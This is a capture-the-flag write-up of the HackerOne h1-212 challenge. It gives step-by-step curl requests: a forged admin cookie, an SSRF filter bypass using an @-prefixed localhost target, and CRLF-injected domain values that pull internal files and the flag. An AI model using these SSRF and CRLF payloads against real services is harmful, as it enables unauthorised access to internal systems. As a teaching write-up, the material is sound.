Preliminary
Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.
This engineer had set up a server and claimed that nobody could hack their way into it.
Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).
Queue dramatic music.
Step 1 – The Classic Jobert Challenge
Going into this CTF I knew that Jobert would use the same little trick again as in his previous CTF. Always read the challenge description very carefully and look for keywords. “acme.org”, “Apache” and “admin panel” stood out for me immediately. During my reconnaissance process which did not require any brute forcing as HackerOne had made very clear, I used Jobert Abma’s virtual host discovery tool. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP 104.236.20.43
in our /etc/hosts
file.
$ cat h1-212
apache.%s
admin.%s
engineer.%s
hackerone.%s
$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212
...
Found: admin.acme.org (200)
date:
Sun, 19 Nov 2017 12:00:05 GMT
server:
Apache/2.4.18 (Ubuntu)
set-cookie:
admin=no # 😱
content-type:
text/html; charset=UTF-8
...
$ sudo sh -c "echo '104.236.20.43 admin.acme.org' >> /etc/hosts"
I noticed from other participants’ comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the “Apache” aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯_(ツ)_/¯
Step 2 – Teapot 🍵
Next I ran dirsearch with a lightweight wordlist against admin.acme.org. The tool discovered an index.php
file and a login path underneath (index.php/login
). Immediately one thing stood out to me, the admin
cookie was set to no
. When modifying that value to yes
and changing the request method to POST
, a 406 Not Acceptable
status code was returned.
Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let’s just say I used a highly advanced Google Dork (site:hackerone.com 406 Not Acceptable
) in order to find this report, which indicated that the request had to be in JSON (Content-Type: application/json
). You didn’t hear me say any of that.
So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.
$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
Maybe it makes sense to the reader now why Ben was teasing us.
Step 3 – Server-Side Request Forgery
Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value ({"domain":"hackerone.com"}
).
This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.
Step 4 – Part 1 – Initial Ideas 💡
The errors that I was receiving when specifying a hostname in {"domain":""}
indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the {"error":{"domain":"incorrect value, .com domain expected"}}
error message, and map it to a loopback address.
Intermission – Bedtime 🛏
It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert’s laugh echoed in the background as every step I took looped before my eyes.
This is totally @jobertabma and @NahamSec watching the #h1212ctf action unfold. I think they’re enjoying this too much lol. pic.twitter.com/HRLjG5a5yv
— Luke Tucker (@luketucker) November 13, 2017
Step 4 – Part 2 – The Bypass
After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai’s research. “There has to be some way to bypass the filter with an @
character.”, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., [email protected]
). Since the suffix did not end with a .com the “.com domain expected” error was returned. #
, ?
, and &
characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: [email protected]
. By sending a request containing this payload the server would respond with a read.php
identifier which contained base64-encoded data of the content from the page being retrieved.
$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{"domain":"[email protected]"}'
{"next":"/read.php?id=1"}
$ curl 'http://admin.acme.org/read.php?id=1' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
{"data":""} # Blank, because the file being requested is empty.
Step 5 – Port Scanning
This step required two little bash scripts, one to request each individual port and another to retrieve the ID’s contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh. Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.
$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{"domain":"localhost:[email protected]"}'
{"next":"/read.php?id=2"}
$ curl 'http://admin.acme.org/read.php?id=2' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}
$ echo 'SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K' | base64 --decode
Hmm, where would it be?
Please note that I only required two IDs for this and the image below is photoshopped.
Step 6 – Massive Frustration and CRLF
What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.
I had a feeling that the flag would be located at /flag
, because earlier I had come across this little gem while playing around with the IP.
This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:
At first I thought playing around with different encodings of #
would help make everything after /flag
useless; i.e., the request would retrieve /flag
and not /[email protected]
. Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.
That image was just stuck in my head. “What has Jobert done here to make things as difficult as possible for me?”, I was asking myself. Time and time again I failed. That was until yappare, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. “CR”, they said. “CR?”, I thought to myself, “What is CR?”.
Disc scratch … CRLF!
So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid read.php
ID and requested the flag
filename.
$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{"domain":"localhost:1337/flag\n\r\n\r212.hackerone.com"}'
Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.
Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID (i), we must deduct 2 to be able to retrieve the base64-encoded flag (f). For instance, if we get read.php?=34
we must send a GET request to read.php?=32
. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of Jobert’s the engineer’s clever little tricks to put the hacker off.
$ curl 'http://admin.acme.org/read.php?id=32' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}
$ echo 'RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK' | base64 --decode
{% raw %}FLAG: CF,2dsV/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7S):f%=P[[email protected]=
Comparing my solution to those of other competitors
After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.
@TomNomNom
-----------
Payload: localhost:1337/flagu000a212.something.com
Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.
@Alyssa_Herrera_ & @streaak
----------------------------
Payload: 212.nlocalhost:80n.com & 212n127.0.0.1n.com respectively.
Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.
Conclusion – What did I learn?
- This CTF really taught me the importance of chaining issues in order to increase the impact. Looking back, any of these steps could have been present in a real-world hacking scenario and had I stopped at any point I would have missed out on a great opportunity and reward.
- The challenges also taught me that it never hurts to ask for a little nudge if you are stuck somewhere. This is especially important when it comes to bug bounty hunting. We should be able to figure out most things on our own to some degree, but do not be afraid to ask someone for help when all else fails.
- Read everything very carefully. Although I learned this during the last CTF, I was reminded of the importance of taking notes of details again during this CTF.
- Remember to take a break once in a while. It is amazing what you can achieve when you get back on track after taking break and getting some rest.
- Take notes! That way when you go down the wrong path, you can easily work your way back to where you left off. I went down many paths and every time I would take notes of what my thought process was. This was also especially helpful when writing this document.
- This CTF also gave me an opportunity to use my newly acquired skills from Jobert’s previous CTF and put them to the test. This indicates that I am improving and learning as I go along.
[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from http://www.usanetwork.com/mrrobot
[2] It’s Always Sunny In Philadelphia. (n.d.). FXX. Retrieved November 19, 2017.
[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to ‘upload’ executables to hackerone.com domain. Retrieved November 19, 2017, from https://hackerone.com/reports/50658
[4] Be More Tea [Photograph]. (2017, November 19). Lipton/Disney.
[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.
[6] [Photograph]. (n.d.). HackerOne, Inc.
[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.